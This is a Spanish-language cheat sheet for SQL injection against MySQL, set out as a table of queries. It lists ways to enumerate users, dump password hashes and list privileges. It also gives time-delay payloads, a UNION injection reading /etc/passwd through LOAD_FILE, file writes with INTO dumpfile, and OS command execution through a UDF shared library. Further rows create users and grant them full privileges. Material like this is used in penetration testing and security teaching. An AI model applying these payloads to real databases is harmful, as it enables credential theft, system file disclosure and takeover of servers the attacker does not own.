Versión | SELECT @@version |
Comentarios | SELECT 1; #comentario SELECT /*comentario*/1; |
Usuario Actual | SELECT user(); SELECT system_user(); |
Listar Usuarios | SELECT user FROM mysql.user; — priv |
Listar Hashes de Passwords | SELECT host, user, password FROM mysql.user; — priv |
Crackear Passwords | John the Ripper crackea hashes de MySQL. |
Listar privilegios | SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges; — list user privs SELECT host, user, Select_priv, Insert_priv, Update_priv, Delete_priv, Create_priv, Drop_priv, Reload_priv, Shutdown_priv, Process_priv, File_priv, Grant_priv, References_priv, Index_priv, Alter_priv, Show_db_priv, Super_priv, Create_tmp_table_priv, Lock_tables_priv, Execute_priv, Repl_slave_priv, Repl_client_priv FROM mysql.user; — priv, list user privs SELECT grantee, table_schema, privilege_type FROM information_schema.schema_privileges; — list privs on databases (schemas) SELECT table_schema, table_name, column_name, privilege_type FROM information_schema.column_privileges; — list privs on columns |
Listar cuentas DBA | SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges WHERE privilege_type = ‘SUPER’; SELECT host, user FROM mysql.user WHERE Super_priv = ‘Y’; # priv |
Base de Datos Actual | SELECT database() |
Listar Bases de Datos | SELECT schema_name FROM information_schema.schemata; — for MySQL >= v5.0 SELECT distinct(db) FROM mysql.db — priv |
Listar Columnas | SELECT table_schema, table_name, column_name FROM information_schema.columns WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’ |
Listar Tablas | SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’ |
Encontrar Tablas apartir de un nombre de Columna | SELECT table_schema, table_name FROM information_schema.columns WHERE column_name = ‘username’; — en cuentra las tablas con columnas llamadas ‘username’ |
Seleccionar la N Fila | SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 0; # filas numeradas desde 0 SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 1; # filas numeradas desde 0 |
Seleccionar el N caracter | SELECT substr(‘abcd’, 3, 1); # devuelve c |
AND Bit a Bit | SELECT 6 & 2; # devuelve 2 SELECT 6 & 1; # devuelve 0 |
Valor ASCII -> Caracter | SELECT char(65); # devuelve A |
Char -> ASCII Value | SELECT ascii(‘A’); # returns 65 |
Casting | SELECT cast(‘1′ AS unsigned integer); SELECT cast(‘123′ AS char); |
Concatenación de cadenas | SELECT CONCAT(‘A’,’B’); #devuelve AB SELECT CONCAT(‘A’,’B’,’C’); # devuelve ABC |
Sentencia IF | SELECT if(1=1,’foo’,’bar’); — devuelve ‘foo’ |
Sentencia CASE | SELECT CASE WHEN (1=1) THEN ‘A’ ELSE ‘B’ END; # devuelve A |
Evitar Comillas | SELECT 0×414243; # devuelve ABC |
Demora de Tiempo | SELECT BENCHMARK(1000000,MD5(‘A’)); SELECT SLEEP(5); # >= 5.0.12 |
Hacer Peticiones DNS | ¿Imposible? |
Ejecución de Comandios | Si mysqld (<5.0) se ejecuta como root Y te haces con una cuenta DBA podrás ejecutar comandos del SO subiendo un archivo compartido a /usr/lib(o similar). El archivo .so debe contener una Función de Usuario Definida (UDF). raptor_udf.c explica exactamente como puedes hacerlo. Recuerda compilar para la arquitectura del objetivo pues no tiene porque ser la misma que la del atacante. |
Acceso a Archivos Locales | …’ UNION ALL SELECT LOAD_FILE(‘/etc/passwd’) — priv, solo puede leer archivos de lectura universales. SELECT * FROM mytable INTO dumpfile ‘/tmp/somefile’; — priv, escribir en archivo de sistema |
Hostname, Dirección IP | ¿Imposible? |
Crear Usuarios | CREATE USER test1 IDENTIFIED BY ‘pass1′; — priv |
Borrar Usuarios | DROP USER test1; — priv |
Make User DBA | GRANT ALL PRIVILEGES ON *.* TO test1@’%’; — priv |
Localización de los archivos de BD | SELECT @@datadir; |
Default/System Databases | information_schema (>= mysql 5.0) mysql |